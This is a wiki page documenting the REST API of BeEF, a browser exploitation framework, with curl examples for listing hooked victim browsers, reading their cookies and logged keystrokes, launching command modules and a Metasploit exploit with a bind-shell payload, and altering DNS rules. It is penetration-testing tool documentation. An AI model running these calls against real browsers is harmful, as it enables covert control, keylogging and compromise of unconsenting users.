Skip to content

BeEF RESTful API

Jump to bottom
jcrew99 edited this page Mar 25, 2023 · 41 revisions

Introduction

From version 0.4.3.3 onwards, BeEF exposes a RESTful API. This allows users to script BeEF through HTTP/JSON requests.

Table of Contents

Postman

You can view the api through the postman file. Read Postman

Authentication

A new pseudo-random token is generated each time BeEF starts, using BeEF::Core::Crypto::api_token. The token is added to the BeEF::Configuration object.

When BeEF starts the token is printed to the console. It should look something like:

[16:02:47][*] RESTful API key: 320f3cf4da7bf0df7566a517c5db796e73a23f47

NOTE: If you require access to the token and you are writing Ruby code somewhere in BeEF, it can be called using:

BeEF::Core::Configuration.instance.get('beef.api_token')

Requesting the Authentication Token from the API

Handler

  • Endpoint
    • POST /api/admin/login
  • Description
    • In order to use the API, a token parameter must always be added to requests, otherwise a 401 error (Not Authorized) is returned. This request provides that token in response.
    • The credentials sent in the body of the request are the ones set in the main config.yaml file.
  • Request Components
    • N/A
  • Query Parameters
    • N/A
  • Request Content

Example

A request to the API, e.g.

curl -H "Content-Type: application/json" -X POST -d '{"username":"beef", "password":"beef"}' http://127.0.0.1:3000/api/admin/login

should result in a response of the following form

{"success": true, "token": "320f3cf4da7bf0df7566a517c5db796e73a23f47"}

Hooked Browsers

Handler

  • Endpoint
    • GET /api/hooks?token={token}
  • Description
    • Provides information (browser and OS version, cookies, enabled plugins, etc) about all hooked browsers (both online and offline).
  • Request Components
    • N/A
  • Query Parameters

Example

Example request:

curl http://beefserver.com:3000/api/hooks?token=320f3cf4da7bf0df7566a517c5db796e73a23f47

Corresponding example response:

{
    "hooked-browsers": {
        "online": {
            "0": {
                "name": "FF",
                "version": "10",
                "os": "Intel Mac OS X 10.7",
                "platform": "MacIntel",
                "session": "nBK3BGBILYD0bNMC1IH299oDbZXNNXKfwMEoDwajmItAHhhhe8LLnEPvO3wFjg1rO4PzXsBbUAK1V0gk",
                "ip": "127.0.0.1",
                "domain": "127.0.0.1",
                "port": "3000",
                "page_uri": "http://127.0.0.1:3000/demos/basic.html"
            }
        },
        "offline": {
            "0": {
                "name": "C",
                "version": "17",
                "os": "Macintosh",
                "platform": "MacIntel",
                "session": "26bxiMKoFfOeBgcvIV84qeOsEULKQIEYDH4djMbMPeoAZU4yySMIlJJ7GrAMwuMa0eX9wCKk24KOsCoT",
                "ip": "127.0.0.1",
                "domain": "127.0.0.1",
                "port": "3000",
                "page_uri": "http://127.0.0.1:3000/demos/basic.html"
}}}}

Browser Details

Handler

  • Endpoint
    • GET /api/hooks/{session}?token={token}
  • Description
    • Provides information (browser and OS version, cookies, enabled plugins, etc) about a specific hooked browser.
  • Request Components
    • {session} - session ID of the hooked browser. This ID is the session value returned in the response to the /api/hooks request.
  • Query Parameters

Example

Example request:

curl http://beefserver.com:3000/api/hooks/nBK3BGBILYD0bNMC1IH299oDbZXNNXKfwMEoDwajmItAHhhhe8LLnEPvO3wFjg1rO4PzXsBbUAK1V0gk?token=320f3cf4da7bf0df7566a517c5db796e73a23f47

Corresponding example response:

{
  "network.ipaddress": "92.92.92.92",
  "location.city": "Unknown",
  "location.country": "Unknown",
  "browser.version": "109.0",
  "browser.name.reported": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:109.0) Gecko/20100101 Firefox/109.0",
  "browser.engine": "Gecko",
  "browser.language": "en-US",
  "browser.window.cookies": "BEEFHOOK=BylwlQSo3yiCea0WxGD8boBnk02T3bvwSiapMz5JdsdfweiYQPo23003j82jaKqP",
  "host.os.name": "OSX",
  "host.os.family": "OS X",
  "host.os.version": "",
  "host.os.arch": "32",
  "host.software.defaultbrowser": "Unknown",
  "hardware.type": "Unknown",
  "browser.date.datestamp": "Tue Mar 07 2023 10:00:00 GMT+0100 (Central European Standard Time)",
  "browser.window.title": "BeEF Test",
  "browser.window.origin": "http://127.0.0.1:3000",
  "browser.window.uri": "http://127.0.0.1:3000/demos/basic.html",
  "browser.window.referrer": "http://127.0.0.1:3000/ui/panel",
  "browser.window.hostname": "127.0.0.1",
  "browser.window.hostport": "3000",
  "browser.plugins": "PDF Viewer,Chrome PDF Viewer,Chromium PDF Viewer,WebKit built-in PDF",
  "browser.platform": "MacIntel",
  "hardware.screen.colordepth": "30",
  "hardware.screen.size.width": "1200",
  "hardware.screen.size.height": "800",
  "browser.window.size.height": "700",
  "browser.window.size.width": "1200",
  "browser.capabilities.vbscript": "No",
  "browser.capabilities.flash": "No",
  "browser.capabilities.silverlight": "No",
  "browser.capabilities.phonegap": "No",
  "browser.capabilities.googlegears": "No",
  "browser.capabilities.activex": "No",
  "browser.capabilities.quicktime": "No",
  "browser.capabilities.realplayer": "No",
  "browser.capabilities.wmp": "No",
  "browser.capabilities.vlc": "No",
  "browser.capabilities.webworker": "Yes",
  "browser.capabilities.websocket": "Yes",
  "browser.capabilities.webgl": "Yes",
  "browser.capabilities.webrtc": "Yes",
  "hardware.memory": "unknown",
  "hardware.gpu": "Apple M1",
  "hardware.gpu.vendor": "Apple",
  "hardware.cpu.arch": "UNKNOWN",
  "hardware.cpu.cores": "8",
  "hardware.battery.level": "unknown",
  "hardware.screen.touchenabled": "No"
}

Logs

Handler

  • Endpoint
    • GET /api/logs?token={token}
  • Description
    • The logs handler gives information about all hooked browser's logs, both global and relative.
  • Request Components
    • N/A
  • Query Parameters

Example

Example request

curl http://beefserver.com:3000/api/logs?token=320f3cf4da7bf0df7566a517c5db796e73a23f47`

Corresponding example response

{
    "logs_count": 8,
    "logs": [
        {
            "id": 1,
            "date": "2012-03-20T16:14:11+01:00",
            "event": "127.0.0.1 just joined the horde from the domain: 127.0.0.1:3000",
            "type": "Zombie"
        },
        {
            "id": 8,
            "date": "2012-03-20T16:18:27+01:00",
            "event": "19.092s - [Focus] Browser has regained focus.",
            "type": "Event"
        }
    ]
}

Browser's Log

Handler

  • Endpoint
    • GET /api/logs/{session}?token={token}
  • Description
    • The logs handler gives information about a specified hooked browser's logs.
  • Request Components :
    • {session} - session ID of the hooked browser. This ID is the session value returned in the response to the /api/hooks request.
  • Query Parameters

Example

Example request:

curl http://beefserver.com:3000/api/logs/nBK3BGBILYD0bNMC1IH299oDbZXNNXKfwMEoDwajmItAHhhhe8LLnEPvO3wFjg1rO4PzXsBbUAK1V0gk?token=320f3cf4da7bf0df7566a517c5db796e73a23f47`

Corresponding example response:

{
    "logs_count": 13,
    "logs": [
        {
            "id": 1,
            "date": "2012-03-20T16:14:11+01:00",
            "event": "127.0.0.1 just joined the horde from the domain: 127.0.0.1:3000",
            "type": "Zombie"
        },
        {
            "id": 16,
            "date": "2012-03-20T16:40:18+01:00",
            "event": "6.071s - [User Typed] \"an\" > input#imptxt(Important Text)",
            "type": "Event"
        },
        {
            "id": 17,
            "date": "2012-03-20T16:40:19+01:00",
            "event": "7.086s - [User Typed] \"tisnatc\" > input#imptxt(Important Text)",
            "type": "Event"
        },
        {
            "id": 18,
            "date": "2012-03-20T16:40:20+01:00",
            "event": "8.099s - [User Typed] \"hor\" > input#imptxt(Important Text)",
            "type": "Event"
        }
    ]
}

List Command Modules

Handler

  • Endpoint
    • GET /api/modules?token={token}
  • Description
    • List all available BeEF command modules.
  • Request Components
    • N/A
  • Query Parameters

Example

Example request:

curl http://beefserver.com:3000/api/modules?token=320f3cf4da7bf0df7566a517c5db796e73a23f47`

Corresponding example response:

{
    "0": {
        "id": 1,
        "name": "Linksys WRT54G CSRF",
        "category": "Router"
    },
    "65": {
        "id": 69,
        "name": "Redirect Browser (Rickroll)",
        "category": "Browser"
    },
    "66": {
        "id": 70,
        "name": "Replace Videos",
        "category": "Browser"
    },
    "67": {
        "id": 71,
        "name": "Create Prompt Dialog",
        "category": "Browser"
    }
}

NOTE:
The key of the modules returned here is currently unused and you can ignore it. The id field contains the actual module id to be used in subsequent request. Further note that this is not a consistent id, you should expect it to change between BeEF versions, installations and possibly instances.

Information on a Specific Module

Handler

  • Endpoint
    • GET /api/modules/{module_id}?token={token}
  • Description
    • Get detailed information about a specific BeEF command module.
  • Request Components
  • Query Parameters

Example

Example request:

curl http://beefserver.com:3000/api/modules/71?token=320f3cf4da7bf0df7566a517c5db796e73a23f47`

Corresponding example response:

{
    "name": "prompt_dialog",
    "description": "Sends a prompt dialog to the hooked browser.",
    "category": "Browser",
    "options": [
        {
            "name": "question",
            "description": "Prompt text",
            "ui_label": "Prompt text"
        }
    ]
}

Launch Command Module on a Specific Browser

Handler

  • Endpoint
    • POST /api/modules/{session}/{module_id}?token={token}
  • Description
    • Launch a specific BeEF command module against a given hooked browser.
  • Request Components
    • {session} - session ID of the hooked browser. This ID is the session value returned in the response to the /api/hooks request.
    • {module_id} - ID of the BeEF module. See List Command Modules.
  • Query Parameters
  • Request Content
    • Headers
      • Content-Type: application/json; charset=UTF-8

Example

In the following example we send the prompt-dialog command module. Using our last example (our /api/modules/71 call), we can see that we can specify the question input with a custom value.

NOTE:\ The request header must contain Content-Type: application/json; charset=UTF-8 and the request body must be valid JSON.

Example request:

curl -H "Content-Type: application/json; charset=UTF-8" -d '{"question":"wtf?"}' -X POST http://beefserver.com:3000/api/modules/nBK3BGBILYD0bNMC1IH299oDbZXNNXKfwMEoDwajmItAHhhhe8LLnEPvO3wFjg1rO4PzXsBbUAK1V0gk/71?token=320f3cf4da7bf0df7566a517c5db796e73a23f47`

Corresponding example response:

{
    "success": "true",
    "command_id": "1"
}

Return Information About the Specific Command Module Previously Executed

Handler

  • Endpoint
    • GET /api/modules/{session}/{module_id}/{cmd_id}?token={token}
  • Description
    • Returns information about a specific previously launched BeEF command module.
  • Request Components
    • {session} - session ID of the hooked browser. This ID is the session value returned in the response to the /api/hooks request.
    • {module_id} - ID of the BeEF module. See List Command Modules.
    • {cmd_id} - ID of the command launched. See Launch Command Module.
  • Query Parameters

Example

Again using our previous example, we would like to know results from the executed command module i.e. what the victim entered to the prompt dialog. In this case the victim entered don't know :D

Example request:

curl http://beefserver.com:3000/api/modules/nBK3BGBILYD0bNMC1IH299oDbZXNNXKfwMEoDwajmItAHhhhe8LLnEPvO3wFjg1rO4PzXsBbUAK1V0gk/71/1?token=320f3cf4da7bf0df7566a517c5db796e73a23f47`

Corresponding example response:

{
            "date": 1678203522,
            "data": "{\"data\":\"answer=don't know\"}"
}

Send a Metasploit Module

Handler

  • Endpoint
    • POST /api/modules/{session}/{module_id}?token={token}
  • Description
    • Launch a specific Metasploit module against a given hooked browser
  • Request Components :
    • {session} - session ID of the hooked browser. This ID is the session value returned in the response to the /api/hooks request.
    • {module_id} - ID of the BeEF module. See List Command Modules.
  • Query Parameters
  • Request Content
    • Headers
      • Content-Type: application/json; charset=UTF-8

Example

In the following example we send the Adobe FlateDecode Stream Predictor 02 Integer Overflow. Metasploit modules will be listed together with BeEF modules, marked with the metasploit category.

NOTE:
The request header must contain Content-Type: application/json; charset=UTF-8 and the request body must be valid JSON.

Example request:

curl -H "Content-Type: application/json; charset=UTF-8" -d '{"SRVPORT":"3992", "URIPATH":"77345345345dg", "PAYLOAD":"generic/shell_bind_tcp"}' -X POST http://beefserver.com:3000/api/modules/nBK3BGBILYD0bNMC1IH299oDbZXNNXKfwMEoDwajmItAHhhhe8LLnEPvO3wFjg1rO4PzXsBbUAK1V0gk/236?token=320f3cf4da7bf0df7566a517c5db796e73a23f47`

Corresponding example response:

{
    "success": "true",
    "command_id": "not_available"
}

NOTE:\ The previous command API does not support querying results of executed Metasploit modules. This is why the command id appears as not available in this response.

Send a Module to Multiple Hooked Browsers

Handler

  • Endpoint
    • POST /api/modules/multi_browser?token={token}
  • Description
    • Fire a BeEF command module to multiple hooked browsers. Returns the command IDs of the launched module, or 0 if there were errors.
  • Request Components
    • N/A
  • Query Parameters
  • Request Content
    • Headers
      • Content-Type: application/json; charset=UTF-8
    • Body
      • mod_id - ID of the BeEF module. See List Command Modules.
      • mod_params - parameters needed for the module
      • hb_ids - session ID of the hooked browser. This ID is the session value returned in the response to the `/api/ request.

Example

Sending an Alert Module w/ Custom Text to 2 Browsers

NOTE:\ The request header must contain Content-Type: application/json; charset=UTF-8 and the request body must be valid JSON.

Example request:

curl -H "Content-Type: application/json; charset=UTF-8" -d '{"mod_id":110,"mod_params":{"text":"vadi?"},"hb_ids":["nBK3BGBILYD0bNMC1IH299oDbZXNNXKfwMEoDwajmItAHhhhe8LLnEPvO3wFjg1rO4PzXsBbUAK1V0gk","26bxiMKoFfOeBgcvIV84qeOsEULKQIEYDH4djMbMPeoAZU4yySMIlJJ7GrAMwuMa0eX9wCKk24KOsCoT"]}' -X POST http://beefserver.com:3000/api/modules/multi_browser?token=320f3cf4da7bf0df7566a517c5db796e73a23f47

Corresponding example response:

{
    "1": 16,
    "2": 17
}

Send Multiple Modules to a Single Hooked Browser

Handler

  • Endpoint
    • POST /api/modules/multi_module?token={token}
  • Description
    • Fire multiple command modules to a single hooked browser. Returns the command IDs of the launched modules, or 0 if there were errors.
  • Request Components
    • N/A
  • Query Parameters
  • Request Content
    • Headers
      • Content-Type: application/json; charset=UTF-8
    • Body
      • hb_id - session ID of the hooked browser. This ID is the session value returned in the response to the /api/hooks request.
      • modules - an array containing all the modules to be launched, with the following two keys:
      • modules.mod_id - ID of the BeEF module. See List Command Modules.
      • modules.mod_input - any ncessary module parameters.

Example

Alert Module w/ Custom Text Using 2 Modules

NOTE:\

  • The request header must contain Content-Type: application/json; charset=UTF-8 and the request body must be valid JSON.
  • For modules that don't need parameters, just pass an empty JSON object like {}.

Example request:

curl -H "Content-Type: application/json; charset=UTF-8" -d '{"hb":"vkIwVV3ok5i5vH2f8sxlkoaKqAGKCbZXdWqE9vkHNFBhI8aBBHvtZAGRO2XqFZXxThBlmKlRiVwPeAzj","modules":[{"mod_id":99,"mod_input":[{"repeat":"10"},{"repeat_string":"ABCDE"}]},{"mod_id":116,"mod_input":[{"question":"hooked?"}]},{"mod_id":128,"mod_input":[]}]}' -X POST http://beefserver.com:3000/api/modules/multi_module?token=320f3cf4da7bf0df7566a517c5db796e73a23f47

Corresponding example response:

{
    "99": 7,
    "116": 8,
    "128": 0
}

NOTE:
The Alert Dialog module execution had issues and did not complete successfully (i.e. it returns 0).

List the DNS ruleset

Handler

  • Endpoint
    • GET /api/dns/ruleset?token={token}
  • Description
    • Returns the current set of DNS rules.
  • Request Components
    • N/A
  • Query Parameters

Example

Example request:

curl http://beefserver.com:3000/api/dns/ruleset?token=320f3cf4da7bf0df7566a517c5db796e73a23f47

Corresponding example response:

{
    "count": 5,
    "ruleset": [
        {
            "id": "0605e3d",
            "pattern": "example.com",
            "type": "NS",
            "response": [
                "ns.example.com"
            ]
        },
        {
            "id": "7e64183",
            "pattern": "example.com",
            "type": "MX",
            "response": [
                10,
                "mail.example.com"
            ]
        },
        {
            "id": "a972452",
            "pattern": "ns.example.com",
            "type": "A",
            "response": [
                "10.0.2.15"
            ]
        },
        {
            "id": "0d28ff1",
            "pattern": "mail.example.com",
            "type": "A",
            "response": [
                "10.0.2.16"
            ]
        },
        {
            "id": "45ce397",
            "pattern": "example.com",
            "type": "HINFO",
            "response": [
                "M68000",
                "VMS"
            ]
        }
    ]
}

List a Specific DNS Rule

Handler

  • Endpoint
    • GET /api/dns/rule/{id}?token={token}
  • Description
    • Returns an individual DNS rule given its unique id.
  • Request Components
    • {id} - unique identifier associated with a specific DNS rule
  • Query Parameters

Example

Example request:

curl http://beefserver.com:3000/api/dns/rule/7e64183?token=320f3cf4da7bf0df7566a517c5db796e73a23f47

Corresponding example response:

{
    "id": "7e64183",
    "pattern": "example.com",
    "type": "MX",
    "response": [
        10,
        "mail.example.com"
    ]
}

Add a New DNS Rule

Handler

  • Endpoint
    • POST /api/dns/rule?token={token}
  • Description
    • Adds a new DNS rule or "resource record". Does nothing if rule is already present.
  • Request Comonents
    • N/A
  • Query Parameters
  • Request Content
    • Headers
      • Content-Type: application/json; charset=UTF-8
    • Body
      • pattern - the query pattern to recognize.
      • resource - the resource record type (e.g. A, CNAME, NS, etc).
      • response - an array containing the response data.

Example

Example request:

curl -H "Content-Type: application/json; charset=UTF-8" -d '{"pattern": "example.com", "resource": "A", "response": [ "10.0.2.14" ]}' -X POST http://beefserver.com:3000/api/dns/rule?token=320f3cf4da7bf0df7566a517c5db796e73a23f47

Corresponding example response:

{
    "success": true,
    "id": "01f458a"
}

Remove an Existing DNS Rule

Handler

  • Endpoint
    • DELETE /api/dns/rule/{id}?token={token}
  • Description
    • Removes an individual DNS rule with a specified unique ID.
  • Request Components :
    • {id} - unique ID associated with the targeted rule.
  • Query Parameters

Example

Example request:

curl -X DELETE http://beefserver.com:3000/api/dns/rule/45ce397?token=320f3cf4da7bf0df7566a517c5db796e73a23f47

Corresponding example response:

{
    "success": true
}

Scripts

Persistence | Autorun Rule Engine

User Guide

I. Introduction   |   II. Basic Utilization   |   III. Advanced Utilization   |   IV. Development   |   V. References

Community

Blog   |   Code   |   Youtube   |   Twitter

I - Starting BeEF

  1. Introducing BeEF
  2. Installation
  3. Basics
  4. Troubleshooting

II - Basic Utilization

  1. Configuration
  2. Interface
  3. Information Gathering
  4. Social Engineering
  5. Network Discovery
  6. Metasploit
  7. Tunneling
  8. XSS Rays
  9. Persistence
  10. Creating a Module
  11. Geolocation
  12. Using-BeEF-With-NGROK

III - Advanced Utilization

  1. RESTful API
  2. Autorun Rule Engine
  3. Notifications
  4. Console
  5. WebRTC Extension

IV - Development

  1. Contributing
  2. ActiveRecord
  3. Development Organization
  4. Architecture
  5. BeEF Javascript API
  6. Step By Step Module Creation
  7. Creating a New Extension
  8. BeEF Testing
  9. Browser & OS Compatibility
  10. Database Schema
  11. Development Milestones
  12. Command Module Config
  13. Command Module API

V - References

  1. FAQ
  2. Other
  3. References
  4. Modules
  5. Release Notes
Clone this wiki locally